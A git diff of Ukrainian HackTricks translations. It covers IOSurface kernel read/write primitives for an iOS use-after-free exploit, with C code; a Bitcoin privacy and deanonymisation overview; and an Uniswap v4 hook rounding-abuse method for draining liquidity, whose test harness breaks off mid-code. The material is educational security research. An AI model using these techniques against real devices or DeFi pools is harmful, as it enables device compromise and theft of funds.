return 0;
|
||||
}
|
||||
```
|
||||
### Achieving Kernel Read/Write with IOSurface
|
||||
### Досягнення Kernel Read/Write з IOSurface
|
||||
|
||||
Після отримання контролю над об'єктом IOSurface в kernel memory (мапований на звільнену фізичну сторінку, доступну з userspace), ми можемо використовувати його для **arbitrary kernel read and write operations**.
|
||||
Після отримання контролю над об'єктом IOSurface у kernel memory (mapped to a freed physical page, доступному з userspace), можна використовувати його для **arbitrary kernel read and write operations**.
|
||||
|
||||
**Key Fields in IOSurface**
|
||||
**Ключові поля в IOSurface**
|
||||
|
||||
Об'єкт IOSurface має два ключові поля:
|
||||
Об'єкт IOSurface має два критичних поля:
|
||||
|
||||
1. **Use Count Pointer**: Дозволяє **32-bit read**.
|
||||
2. **Indexed Timestamp Pointer**: Дозволяє **64-bit write**.
|
||||
|
||||
Перезаписавши ці вказівники, ми перенаправляємо їх на довільні адреси в kernel memory, що дає змогу виконувати читання/запис.
|
||||
Перезаписавши ці pointers, ми перенаправляємо їх на довільні адреси в kernel memory, що дозволяє виконувати read/write.
|
||||
|
||||
#### 32-Bit Kernel Read
|
||||
|
||||
Щоб виконати читання:
|
||||
|
||||
1. Перезапишіть **use count pointer**, щоб він вказував на цільову адресу мінус зсув 0x14 байт.
|
||||
2. Використайте метод `get_use_count` для зчитування значення за цією адресою.
|
||||
1. Перезапишіть **use count pointer**, щоб він вказував на цільову адресу мінус офсет 0x14 байт.
|
||||
2. Використайте метод `get_use_count`, щоб прочитати значення за цією адресою.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
@ -202,8 +201,8 @@ return value;
|
||||
|
||||
Щоб виконати запис:
|
||||
|
||||
1. Перезапишіть **indexed timestamp pointer**, встановивши його на цільову адресу.
|
||||
2. Використайте метод `set_indexed_timestamp` для запису 64-бітного значення.
|
||||
1. Перезапишіть **indexed timestamp pointer** на цільову адресу.
|
||||
2. Використайте метод `set_indexed_timestamp`, щоб записати 64-бітне значення.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
@ -219,11 +218,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
```
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. Спровокувати Physical Use-After-Free: вільні сторінки доступні для повторного використання.
|
||||
2. Spray IOSurface Objects: Виділити багато об'єктів IOSurface з унікальним "magic value" у kernel memory.
|
||||
3. Identify Accessible IOSurface: Знайти IOSurface на звільненій сторінці, яку ви контролюєте.
|
||||
4. Abuse Use-After-Free: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільний kernel read/write через методи IOSurface.
|
||||
1. **Trigger Physical Use-After-Free**: Вивільнені сторінки стають доступними для повторного використання.
|
||||
2. **Spray IOSurface Objects**: Виділіть багато об'єктів IOSurface з унікальним "magic value" у kernel memory.
|
||||
3. **Identify Accessible IOSurface**: Знайдіть IOSurface на звільненій сторінці, яку ви контролюєте.
|
||||
4. **Abuse Use-After-Free**: Змініть вказівники в об'єкті IOSurface, щоб отримати довільні **kernel read/write** через методи IOSurface.
|
||||
|
||||
З цими примітивами експлойт забезпечує контрольовані 32-bit reads і 64-bit writes до kernel memory. Подальші кроки jailbreak можуть включати більш стабільні read/write primitives, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
|
||||
З цими примітивами експлойт надає контрольовані **32-bit reads** та **64-bit writes** у kernel memory. Подальші кроки для jailbreak можуть включати більш стабільні read/write primitives, що може вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,176 +1,178 @@
|
||||
# Блокчейн та Криптовalюти
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основні Концепції
|
||||
## Основні поняття
|
||||
|
||||
- **Смарт-контракти** визначаються як програми, які виконуються на блокчейні, коли виконуються певні умови, автоматизуючи виконання угод без посередників.
|
||||
- **Децентралізовані додатки (dApps)** базуються на смарт-контрактах, маючи зручний інтерфейс для користувачів та прозорий, підлягаючий аудиту бекенд.
|
||||
- **Токени та Монети** відрізняються тим, що монети слугують цифровими грошима, тоді як токени представляють цінність або власність у певних контекстах.
|
||||
- **Утиліті токени** надають доступ до послуг, а **секюріті токени** позначають власність на активи.
|
||||
- **DeFi** означає децентралізовані фінанси, що пропонують фінансові послуги без центральних органів.
|
||||
- **DEX** та **DAO** відносяться до децентралізованих біржових платформ та децентралізованих автономних організацій відповідно.
|
||||
- **Smart Contracts** визначаються як програми, що виконуються на блокчейні при виконанні певних умов, автоматизуючи виконання угод без посередників.
|
||||
- **Decentralized Applications (dApps)** будуються на основі смарт-контрактів, мають дружній для користувача front-end і прозорий, піддаваний аудиту back-end.
|
||||
- **Tokens & Coins** відрізняються тим, що coins слугують цифровими грошима, тоді як tokens уособлюють цінність або право власності в конкретних контекстах.
|
||||
- **Utility Tokens** надають доступ до сервісів, а **Security Tokens** позначають право власності на активи.
|
||||
- **DeFi** означає Decentralized Finance, що надає фінансові послуги без центральних органів.
|
||||
- **DEX** та **DAOs** відповідно позначають Decentralized Exchange Platforms і Decentralized Autonomous Organizations.
|
||||
|
||||
## Механізми Консенсусу
|
||||
## Механізми консенсусу
|
||||
|
||||
Механізми консенсусу забезпечують безпечну та узгоджену валідацію транзакцій на блокчейні:
|
||||
Механізми консенсусу забезпечують безпечну та узгоджену валідацію транзакцій у блокчейні:
|
||||
|
||||
- **Proof of Work (PoW)** покладається на обчислювальну потужність для верифікації транзакцій.
|
||||
- **Proof of Stake (PoS)** вимагає, щоб валідатори тримали певну кількість токенів, зменшуючи споживання енергії в порівнянні з PoW.
|
||||
- **Proof of Work (PoW)** покладається на обчислювальну потужність для перевірки транзакцій.
|
||||
- **Proof of Stake (PoS)** вимагає від валідаторів утримувати певну кількість токенів, знижуючи енергоспоживання у порівнянні з PoW.
|
||||
|
||||
## Основи Bitcoin
|
||||
|
||||
### Транзакції
|
||||
|
||||
Транзакції Bitcoin включають передачу коштів між адресами. Транзакції верифікуються за допомогою цифрових підписів, що забезпечує, що лише власник приватного ключа може ініціювати перекази.
|
||||
Транзакції Bitcoin включають переведення коштів між адресами. Транзакції підтверджуються цифровими підписами, що гарантує, що лише власник приватного ключа може ініціювати перекази.
|
||||
|
||||
#### Ключові Компоненти:
|
||||
#### Ключові компоненти:
|
||||
|
||||
- **Мультипідписні транзакції** вимагають кілька підписів для авторизації транзакції.
|
||||
- Транзакції складаються з **входів** (джерело коштів), **виходів** (призначення), **комісій** (сплачених майнерам) та **скриптів** (правил транзакції).
|
||||
- **Multisignature Transactions** вимагають кількох підписів для авторизації транзакції.
|
||||
- Транзакції складаються з **inputs** (джерело коштів), **outputs** (призначення), **fees** (сплачуються miners) і **scripts** (правила транзакції).
|
||||
|
||||
### Lightning Network
|
||||
|
||||
Спрямована на покращення масштабованості Bitcoin, дозволяючи кілька транзакцій в межах каналу, лише транслюючи фінальний стан на блокчейн.
|
||||
Має на меті покращити масштабованість Bitcoin, дозволяючи проводити багато транзакцій у межах каналу й тільки публікувати кінцевий стан у блокчейн.
|
||||
|
||||
## Проблеми Приватності Bitcoin
|
||||
## Проблеми конфіденційності Bitcoin
|
||||
|
||||
Атаки на приватність, такі як **Припущення спільної власності на входи** та **Виявлення адреси зміни UTXO**, експлуатують шаблони транзакцій. Стратегії, такі як **Міксери** та **CoinJoin**, покращують анонімність, приховуючи зв'язки транзакцій між користувачами.
|
||||
Атаки на конфіденційність, такі як **Common Input Ownership** і **UTXO Change Address Detection**, експлуатують шаблони транзакцій. Стратегії на кшталт **Mixers** і **CoinJoin** підвищують анонімність, затемнюючи зв'язки між транзакціями користувачів.
|
||||
|
||||
## Отримання Bitcoin Анонімно
|
||||
## Анонімне придбання Bitcoin
|
||||
|
||||
Методи включають грошові угоди, майнінг та використання міксерів. **CoinJoin** змішує кілька транзакцій, ускладнюючи відстеження, тоді як **PayJoin** маскує CoinJoins як звичайні транзакції для підвищення приватності.
|
||||
Методи включають готівкові угоди, майнінг і використання mixers. **CoinJoin** змішує кілька транзакцій, ускладнюючи трасування, тоді як **PayJoin** маскує CoinJoin як звичайні транзакції для підвищення приватності.
|
||||
|
||||
# Атаки на Приватність Bitcoin
|
||||
# Bitcoin Privacy Atacks
|
||||
|
||||
# Резюме Атак на Приватність Bitcoin
|
||||
# Підсумок атак на конфіденційність Bitcoin
|
||||
|
||||
У світі Bitcoin приватність транзакцій та анонімність користувачів часто викликають занепокоєння. Ось спрощений огляд кількох поширених методів, за допомогою яких зловмисники можуть скомпрометувати приватність Bitcoin.
|
||||
У світі Bitcoin конфіденційність транзакцій і анонімність користувачів часто викликають занепокоєння. Нижче спрощений огляд кількох поширених методів, якими нападники можуть скомпрометувати приватність Bitcoin.
|
||||
|
||||
## **Припущення спільної власності на входи**
|
||||
## **Common Input Ownership Assumption**
|
||||
|
||||
Зазвичай рідко, щоб входи від різних користувачів об'єднувалися в одній транзакції через пов'язані складнощі. Таким чином, **дві адреси входів в одній транзакції часто вважаються належними одному власнику**.
|
||||
Зазвичай рідко трапляється, що inputs від різних користувачів поєднуються в одній транзакції через складність процесу. Тому **два input-адреси в одній транзакції часто вважаються належними одному й тому ж власнику**.
|
||||
|
||||
## **Виявлення адреси зміни UTXO**
|
||||
## **UTXO Change Address Detection**
|
||||
|
||||
UTXO, або **Невитрачений вихід транзакції**, повинен бути повністю витрачений у транзакції. Якщо лише частина з нього надсилається на іншу адресу, решта йде на нову адресу зміни. Спостерігачі можуть припустити, що ця нова адреса належить відправнику, що компрометує приватність.
|
||||
UTXO, або **Unspent Transaction Output**, має бути витрачений повністю в транзакції. Якщо відправляється лише частина, решта повертається на нову change-адресу. Спостерігачі можуть припустити, що ця нова адреса належить відправникові, що ставить під загрозу приватність.
|
||||
|
||||
### Приклад
|
||||
|
||||
Щоб зменшити це, міксингові сервіси або використання кількох адрес можуть допомогти приховати власність.
|
||||
Щоб зменшити це, сервіси mixing або використання кількох адрес можуть допомогти затемнити власність.
|
||||
|
||||
## **Витік через Соціальні Мережі та Форуми**
|
||||
## **Social Networks & Forums Exposure**
|
||||
|
||||
Користувачі іноді діляться своїми адресами Bitcoin в Інтернеті, що робить **легким зв'язок адреси з її власником**.
|
||||
Користувачі іноді публічно діляться своїми Bitcoin-адресами, що робить **легким прив'язати адресу до її власника**.
|
||||
|
||||
## **Аналіз Графа Транзакцій**
|
||||
## **Transaction Graph Analysis**
|
||||
|
||||
Транзакції можна візуалізувати як графи, що виявляють потенційні зв'язки між користувачами на основі потоку коштів.
|
||||
Транзакції можна візуалізувати як графи, що виявляє потенційні зв'язки між користувачами на основі потоків коштів.
|
||||
|
||||
## **Гіпотеза Непотрібного Входу (Оптимальна Гіпотеза Зміни)**
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
|
||||
Ця гіпотеза базується на аналізі транзакцій з кількома входами та виходами, щоб вгадати, який вихід є зміною, що повертається до відправника.
|
||||
Цей евристичний підхід базується на аналізі транзакцій із кількома inputs та outputs, щоб вгадати, який output є change, що повертається відправникові.
|
||||
|
||||
### Приклад
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Якщо додавання більше вхідних даних робить вихідні дані більшими, ніж будь-який окремий вхід, це може заплутати евристичний аналіз.
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
|
||||
## **Примусове повторне використання адреси**
|
||||
## **Forced Address Reuse**
|
||||
|
||||
Зловмисники можуть надсилати невеликі суми на раніше використані адреси, сподіваючись, що отримувач об'єднає їх з іншими вхідними даними в майбутніх транзакціях, таким чином пов'язуючи адреси разом.
|
||||
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
|
||||
|
||||
### Правильна поведінка гаманця
|
||||
### Correct Wallet Behavior
|
||||
|
||||
Гаманці повинні уникати використання монет, отриманих на вже використаних, порожніх адресах, щоб запобігти цьому витоку конфіденційності.
|
||||
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
|
||||
|
||||
## **Інші техніки аналізу блокчейну**
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
|
||||
- **Точні суми платежів:** Транзакції без здачі, ймовірно, між двома адресами, що належать одному користувачу.
|
||||
- **Круглі числа:** Кругле число в транзакції вказує на те, що це платіж, а не круглий вихід, ймовірно, є здачею.
|
||||
- **Відбитки гаманців:** Різні гаманці мають унікальні шаблони створення транзакцій, що дозволяє аналітикам ідентифікувати використовуване програмне забезпечення та потенційно адресу здачі.
|
||||
- **Кореляції суми та часу:** Розкриття часу або сум транзакцій може зробити транзакції відстежуваними.
|
||||
- **Exact Payment Amounts:** Транзакції без change ймовірно відбуваються між двома адресами, що належать одному користувачу.
|
||||
- **Round Numbers:** Кругла сума в транзакції натякає, що це платіж, а не-круглий вихід швидше за все є change.
|
||||
- **Wallet Fingerprinting:** Різні wallets мають унікальні патерни створення транзакцій, що дозволяє аналітикам ідентифікувати використане програмне забезпечення та потенційно change address.
|
||||
- **Amount & Timing Correlations:** Розкриття часу або сум транзакцій може зробити їх відстежуваними.
|
||||
|
||||
## **Аналіз трафіку**
|
||||
## **Traffic Analysis**
|
||||
|
||||
Моніторинг мережевого трафіку може дозволити зловмисникам потенційно пов'язати транзакції або блоки з IP-адресами, що компрометує конфіденційність користувачів. Це особливо вірно, якщо суб'єкт управляє багатьма вузлами Bitcoin, що підвищує їх здатність моніторити транзакції.
|
||||
Моніторинг мережевого трафіку може дозволити атакам пов’язати транзакції або блоки з IP-адресами, компрометуючи конфіденційність користувачів. Це особливо справедливо, якщо якась організація оперує багатьма Bitcoin nodes, що підвищує їхню здатність відстежувати транзакції.
|
||||
|
||||
## Більше
|
||||
## More
|
||||
|
||||
Для отримання всебічного списку атак на конфіденційність і засобів захисту відвідайте [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# Анонімні транзакції Bitcoin
|
||||
# Anonymous Bitcoin Transactions
|
||||
|
||||
## Способи отримати біткоїни анонімно
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
|
||||
- **Готівкові транзакції**: Отримання біткоїнів через готівку.
|
||||
- **Готівкові альтернативи**: Придбання подарункових карток і обмін їх онлайн на біткоїни.
|
||||
- **Майнінг**: Найбільш приватний спосіб заробити біткоїни - це майнінг, особливо коли його виконують самостійно, оскільки майнінг-пули можуть знати IP-адресу майнера. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Крадіжка**: Теоретично, крадіжка біткоїнів може бути ще одним способом отримати їх анонімно, хоча це незаконно і не рекомендується.
|
||||
- **Cash Transactions**: Придбання bitcoin за готівку.
|
||||
- **Cash Alternatives**: Купівля подарункових карток і обмін їх онлайн на bitcoin.
|
||||
- **Mining**: Найприватніший спосіб заробити bitcoins — майнінг, особливо в одиночку, оскільки mining pools можуть знати IP-адресу майнера. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Теоретично, крадіжка bitcoin також могла б бути способом придбати їх анонімно, хоча це незаконно і не рекомендовано.
|
||||
|
||||
## Сервіси змішування
|
||||
## Mixing Services
|
||||
|
||||
Використовуючи сервіс змішування, користувач може **надіслати біткоїни** і отримати **інші біткоїни в обмін**, що ускладнює відстеження оригінального власника. Проте це вимагає довіри до сервісу, щоб він не зберігав журнали і дійсно повертав біткоїни. Альтернативні варіанти змішування включають казино Bitcoin.
|
||||
Використовуючи mixing service, користувач може **відправити bitcoins** і отримати **інші bitcoins натомість**, що ускладнює відстеження початкового власника. Однак це вимагає довіри до сервісу, що він не зберігає логи і дійсно повертає bitcoins. Альтернативою mixing можуть бути Bitcoin casinos.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** об'єднує кілька транзакцій від різних користувачів в одну, ускладнюючи процес для будь-кого, хто намагається зіставити вхідні дані з вихідними. Незважаючи на свою ефективність, транзакції з унікальними розмірами вхідних і вихідних даних все ще можуть бути відстежені.
|
||||
CoinJoin об’єднує кілька транзакцій від різних користувачів в одну, ускладнюючи для сторонніх зіставлення inputs з outputs. Незважаючи на ефективність, транзакції з унікальними розмірами inputs та outputs все ще можуть бути простежені.
|
||||
|
||||
Прикладом транзакцій, які могли використовувати CoinJoin, є `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` та `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Для отримання додаткової інформації відвідайте [CoinJoin](https://coinjoin.io/en). Для подібного сервісу на Ethereum ознайомтеся з [Tornado Cash](https://tornado.cash), який анонімізує транзакції з коштів від майнерів.
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
|
||||
## PayJoin
|
||||
|
||||
Варіант CoinJoin, **PayJoin** (або P2EP), маскує транзакцію між двома сторонами (наприклад, клієнтом і торговцем) як звичайну транзакцію, без характерних рівних виходів, притаманних CoinJoin. Це робить її надзвичайно важкою для виявлення і може знецінити евристичний аналіз спільної власності вхідних даних, що використовується організаціями, які здійснюють моніторинг транзакцій.
|
||||
A variant of CoinJoin, **PayJoin** (or P2EP), маскує транзакцію між двома сторонами (наприклад, клієнтом і продавцем) як звичайну транзакцію, без характерних однакових виходів, властивих CoinJoin. Це робить її виявлення дуже складним і може знецінити common-input-ownership heuristic, яку використовують сервіси моніторингу транзакцій.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Транзакції, подібні до наведених вище, можуть бути PayJoin, що підвищує конфіденційність, залишаючись невідрізняними від стандартних біткойн-транзакцій.
|
||||
Транзакції, подібні до наведених вище, можуть бути PayJoin, що підвищує конфіденційність і при цьому залишається невідрізненним від стандартних Bitcoin-транзакцій.
|
||||
|
||||
**Використання PayJoin може суттєво порушити традиційні методи спостереження**, що робить його перспективним розвитком у прагненні до транзакційної конфіденційності.
|
||||
**Використання PayJoin може суттєво порушити традиційні методи спостереження**, роблячи його перспективним у розвитку транзакційної приватності.
|
||||
|
||||
# Найкращі практики для конфіденційності в криптовалютах
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
|
||||
## **Техніки синхронізації гаманців**
|
||||
## **Wallet Synchronization Techniques**
|
||||
|
||||
Для підтримки конфіденційності та безпеки важливо синхронізувати гаманці з блокчейном. Виділяються два методи:
|
||||
Щоб підтримувати конфіденційність та безпеку, синхронізація гаманців із блокчейном є критичною. Виділяються два методи:
|
||||
|
||||
- **Повний вузол**: Завантажуючи весь блокчейн, повний вузол забезпечує максимальну конфіденційність. Усі транзакції, коли-небудь здійснені, зберігаються локально, що унеможливлює для супротивників ідентифікацію транзакцій або адрес, які цікавлять користувача.
|
||||
- **Фільтрація блоків на стороні клієнта**: Цей метод передбачає створення фільтрів для кожного блоку в блокчейні, що дозволяє гаманцям ідентифікувати відповідні транзакції без розкриття конкретних інтересів спостерігачам мережі. Легкі гаманці завантажують ці фільтри, отримуючи повні блоки лише тоді, коли знаходять відповідність з адресами користувача.
|
||||
- **Full node**: Завантажуючи весь блокчейн, full node забезпечує максимальну приватність. Всі коли-небудь здійснені транзакції зберігаються локально, що унеможливлює для противників визначити, які саме транзакції чи адреси цікавлять користувача.
|
||||
- **Client-side block filtering**: Цей метод передбачає створення фільтрів для кожного блоку в блокчейні, що дозволяє гаманцям ідентифікувати релевантні транзакції без розкриття конкретних інтересів спостерігачам мережі. Легкі гаманці завантажують ці фільтри і завантажують повні блоки лише коли знаходять співпадіння з адресами користувача.
|
||||
|
||||
## **Використання Tor для анонімності**
|
||||
## **Utilizing Tor for Anonymity**
|
||||
|
||||
Оскільки Bitcoin працює в мережі рівноправних учасників, рекомендується використовувати Tor для маскування вашої IP-адреси, підвищуючи конфіденційність під час взаємодії з мережею.
|
||||
Оскільки Bitcoin працює в peer-to-peer мережі, рекомендується використовувати Tor для приховування вашої IP-адреси, підвищуючи приватність при взаємодії з мережею.
|
||||
|
||||
## **Запобігання повторному використанню адрес**
|
||||
## **Preventing Address Reuse**
|
||||
|
||||
Для захисту конфіденційності важливо використовувати нову адресу для кожної транзакції. Повторне використання адрес може скомпрометувати конфіденційність, пов'язуючи транзакції з однією і тією ж особою. Сучасні гаманці заохочують уникнення повторного використання адрес через свій дизайн.
|
||||
Щоб захистити приватність, важливо використовувати нову адресу для кожної транзакції. Повторне використання адрес може скомпрометувати приватність, пов’язавши транзакції з однією сутністю. Сучасні гаманці відмовляються від повторного використання адрес через їхній дизайн.
|
||||
|
||||
## **Стратегії для конфіденційності транзакцій**
|
||||
## **Strategies for Transaction Privacy**
|
||||
|
||||
- **Кілька транзакцій**: Розподіл платежу на кілька транзакцій може затемнити суму транзакції, ускладнюючи атаки на конфіденційність.
|
||||
- **Уникнення здачі**: Вибір транзакцій, які не потребують здачі, підвищує конфіденційність, порушуючи методи виявлення здачі.
|
||||
- **Кілька виходів здачі**: Якщо уникнути здачі неможливо, створення кількох виходів здачі все ще може покращити конфіденційність.
|
||||
- **Multiple transactions**: Розбивка платежу на кілька транзакцій може ускладнити визначення суми транзакції, зірвавши атаки на приватність.
|
||||
- **Change avoidance**: Вибір транзакцій, що не потребують change outputs, підвищує приватність, порушуючи методи виявлення зміни.
|
||||
- **Multiple change outputs**: Якщо уникнути change неможливо, генерація кількох change outputs також може покращити приватність.
|
||||
|
||||
# **Monero: маяк анонімності**
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
|
||||
Monero відповідає потребі в абсолютній анонімності в цифрових транзакціях, встановлюючи високий стандарт для конфіденційності.
|
||||
Monero відповідає на потребу в абсолютній анонімності в цифрових транзакціях, встановлюючи високі стандарти приватності.
|
||||
|
||||
# **Ethereum: газ і транзакції**
|
||||
# **Ethereum: Gas and Transactions**
|
||||
|
||||
## **Розуміння газу**
|
||||
## **Understanding Gas**
|
||||
|
||||
Газ вимірює обчислювальні зусилля, необхідні для виконання операцій в Ethereum, ціна в **gwei**. Наприклад, транзакція, що коштує 2,310,000 gwei (або 0.00231 ETH), передбачає ліміт газу та базовий збір, з чаєм для стимулювання майнерів. Користувачі можуть встановити максимальний збір, щоб не переплачувати, з надлишком, що повертається.
|
||||
Gas вимірює обчислювальні зусилля, необхідні для виконання операцій в Ethereum, і ціниться в **gwei**. Наприклад, транзакція вартістю 2,310,000 gwei (або 0.00231 ETH) включає gas limit і базову плату, з підказкою (tip) для стимулювання майнерів. Користувачі можуть встановити max fee, щоб не переплачувати; надлишок повертається.
|
||||
|
||||
## **Виконання транзакцій**
|
||||
## **Executing Transactions**
|
||||
|
||||
Транзакції в Ethereum передбачають відправника та отримувача, якими можуть бути адреси користувача або смарт-контракту. Вони вимагають збору та повинні бути видобуті. Основна інформація в транзакції включає отримувача, підпис відправника, значення, необов'язкові дані, ліміт газу та збори. Важливо, що адреса відправника виводиться з підпису, що усуває необхідність її вказування в даних транзакції.
|
||||
Транзакції в Ethereum включають відправника і одержувача, якими можуть бути як користувацькі, так і smart contract адреси. Вони вимагають комісію і мають бути замайнені. Основна інформація в транзакції включає одержувача, підпис відправника, value, опціональні data, gas limit та fees. Зауважте, що адреса відправника виводиться з підпису, тому в самих даних транзакції вона не потрібна.
|
||||
|
||||
Ці практики та механізми є основоположними для будь-кого, хто прагне взаємодіяти з криптовалютами, приорітетизуючи конфіденційність та безпеку.
|
||||
Ці практики та механізми є основою для будь-кого, хто хоче взаємодіяти з криптовалютами, віддаючи пріоритет приватності та безпеці.
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
@ -179,4 +181,12 @@ Monero відповідає потребі в абсолютній анонім
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
## DeFi/AMM Exploitation
|
||||
|
||||
Якщо ви досліджуєте практичну експлуатацію DEXes і AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,160 @@
|
||||
# Експлуатація DeFi/AMM: Uniswap v4 Hook Precision/Rounding Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ця сторінка описує клас технік експлуатації DeFi/AMM проти DEX-ів типу Uniswap v4, що розширюють базову математику кастомними hooks. Нещодавній інцидент у Bunni V2 використав помилку округлення/точності в Liquidity Distribution Function (LDF), яка виконувалася на кожен swap, дозволивши атакуючому накопичувати позитивні кредити й викачати ліквідність.
|
||||
|
||||
Ключова ідея: якщо hook реалізує додатковий облік, що залежить від fixed‑point math, округлення tick та логіки порогів, атакуючий може сформувати exact‑input swaps, які проходять через конкретні пороги так, що розбіжності округлення акумулюються на його користь. Повторення патерну і подальше виведення здутого балансу приносить прибуток, часто профінансований flash loan.
|
||||
|
||||
## Background: Uniswap v4 hooks and swap flow
|
||||
|
||||
- Hooks — це контракти, які PoolManager викликає у певні точки життєвого циклу (наприклад, beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
|
||||
- Пули ініціалізуються з PoolKey, що включає адресу hooks. Якщо вона відрізняється від нуля, PoolManager робить callbacks при кожній відповідній операції.
|
||||
- Базова математика використовує fixed‑point формати, такі як Q64.96 для sqrtPriceX96 і арифметику tick з 1.0001^tick. Будь‑яка кастомна математика зверху має точно відповідати семантиці округлення, щоб уникнути дрейфу інваріантів.
|
||||
- Swaps можуть бути exactInput або exactOutput. У v3/v4 ціна рухається уздовж ticks; перетин межі tick може активувати/деактивувати range liquidity. Hooks можуть реалізувати додаткову логіку при порогах/перетинах tick.
|
||||
|
||||
## Vulnerability archetype: threshold‑crossing precision/rounding drift
|
||||
|
||||
Типовий вразливий патерн у кастомних hooks:
|
||||
|
||||
1. Hook обчислює дельти ліквідності або балансу за swap з використанням integer division, mulDiv або fixed‑point конверсій (наприклад, token ↔ liquidity за допомогою sqrtPrice та tick ranges).
|
||||
2. Порогова логіка (наприклад, rebalancing, покрокова redistribuiton або активація по діапазонах) тригериться, коли розмір swap або рух ціни перетинає внутрішню межу.
|
||||
3. Округлення застосовується непослідовно (наприклад, усічення до нуля, floor проти ceil) між прямим обчисленням і шляхом settlement. Маленькі розбіжності не компенсуються і натомість зараховуються викликувачеві.
|
||||
4. Exact‑input swaps, точно підібрані щоб перетнути ці межі, багаторазово збирають позитивний залишок округлення. Атакуючий пізніше виводить накопичений кредит.
|
||||
|
||||
Умови для атаки
|
||||
- Пул з кастомним v4 hook, який виконує додаткову математику на кожен swap (наприклад, LDF/rebalancer).
|
||||
- Принаймні один шлях виконання, де округлення вигідне ініціатору swap при перетинах порогів.
|
||||
- Можливість багаторазового повторення swaps атомарно (flash loans ідеальні для забезпечення тимчасової ліквідності та амортизації gas).
|
||||
|
||||
## Practical attack methodology
|
||||
|
||||
1) Ідентифікувати кандидатні пули з hooks
|
||||
- Перерахувати v4 пули і перевірити PoolKey.hooks != address(0).
|
||||
- Проінспектувати hook bytecode/ABI на предмет callbacks: beforeSwap/afterSwap та будь‑яких кастомних rebalancing методів.
|
||||
- Шукати математику, що: ділить на liquidity, конвертує між token amounts і liquidity, або агрегує BalanceDelta з округленням.
|
||||
|
||||
2) Замоделювати математику hook і пороги
|
||||
- Відтворити формулу liquidity/redistribution hook: вхідні дані зазвичай включають sqrtPriceX96, tickLower/Upper, currentTick, fee tier і net liquidity.
|
||||
- Замапити порогові/покрокові функції: ticks, bucket boundaries або LDF breakpoints. Визначити, на якій стороні кожної межі дельта округлюється.
|
||||
- Ідентифікувати місця, де конверсії кастять між uint256/int256, використовують SafeCast або залежать від mulDiv з імпліцитним floor.
|
||||
|
||||
3) Калібрувати exact‑input swaps для перетину меж
|
||||
- Використовувати Foundry/Hardhat симуляції, щоб обчислити мінімальний Δin, необхідний, щоб зрушити ціну трохи понад межу і викликати гілку hook.
|
||||
- Перевірити, що після afterSwap settlement викликвач отримує більше, ніж коштує операція, залишаючи позитивний BalanceDelta або кредит у обліку hook.
|
||||
- Повторювати свопи для накопичення кредиту; потім викликати шлях withdrawal/settlement hook.
|
||||
|
||||
Example Foundry‑style test harness (pseudocode)
|
||||
```solidity
|
||||
function test_precision_rounding_abuse() public {
|
||||
// 1) Arrange: set up pool with hook
|
||||
PoolKey memory key = PoolKey({
|
||||
currency0: USDC,
|
||||
currency1: USDT,
|
||||
fee: 500, // 0.05%
|
||||
tickSpacing: 10,
|
||||
hooks: address(bunniHook)
|
||||
});
|
||||
pm.initialize(key, initialSqrtPriceX96);
|
||||
|
